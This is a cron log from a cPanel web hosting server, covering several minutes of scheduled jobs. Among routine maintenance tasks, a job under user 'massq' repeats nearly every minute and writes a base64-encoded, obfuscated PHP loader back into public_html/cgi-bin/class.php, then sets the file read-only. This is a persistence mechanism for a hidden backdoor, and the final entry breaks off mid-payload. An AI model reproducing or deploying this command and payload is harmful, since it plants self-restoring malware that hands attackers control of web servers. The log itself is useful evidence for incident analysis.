Sep  3 14:05:01 server CROND[7602]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 14:05:01 server CROND[7609]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:05:01 server CROND[7611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:05:01 server CROND[7610]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 14:05:01 server CROND[7607]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:05:01 server CROND[7613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:05:01 server CROND[7608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:06:01 server CROND[8455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:06:01 server CROND[8456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:06:01 server CROND[8454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:07:01 server CROND[8925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:07:01 server CROND[8924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:07:01 server CROND[8926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:08:01 server CROND[9296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:08:01 server CROND[9297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:08:01 server CROND[9298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:09:01 server CROND[9678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:09:01 server CROND[9679]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 14:09:01 server CROND[9680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:09:01 server CROND[9681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:10:01 server CROND[10083]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:10:01 server CROND[10084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:10:01 server CROND[10086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:10:01 server CROND[10087]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:10:01 server CROND[10088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:10:01 server CROND[10091]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:10:01 server CROND[10089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:10:01 server CROND[10090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:11:01 server CROND[10913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:11:01 server CROND[10914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:11:01 server CROND[10915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:12:01 server CROND[11373]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 14:12:01 server CROND[11374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:12:01 server CROND[11375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:12:01 server CROND[11376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:13:01 server CROND[11747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:13:01 server CROND[11748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:13:01 server CROND[11746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:14:01 server CROND[12117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:14:01 server CROND[12118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:14:01 server CROND[12119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:15:01 server CROND[12527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:15:01 server CROND[12529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:15:01 server CROND[12532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:15:01 server CROND[12531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:15:01 server CROND[12534]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:15:01 server CROND[12538]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 14:15:01 server CROND[12536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:15:01 server CROND[12535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:15:01 server CROND[12533]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 14:16:01 server CROND[13373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:16:01 server CROND[13374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:16:01 server CROND[13375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQt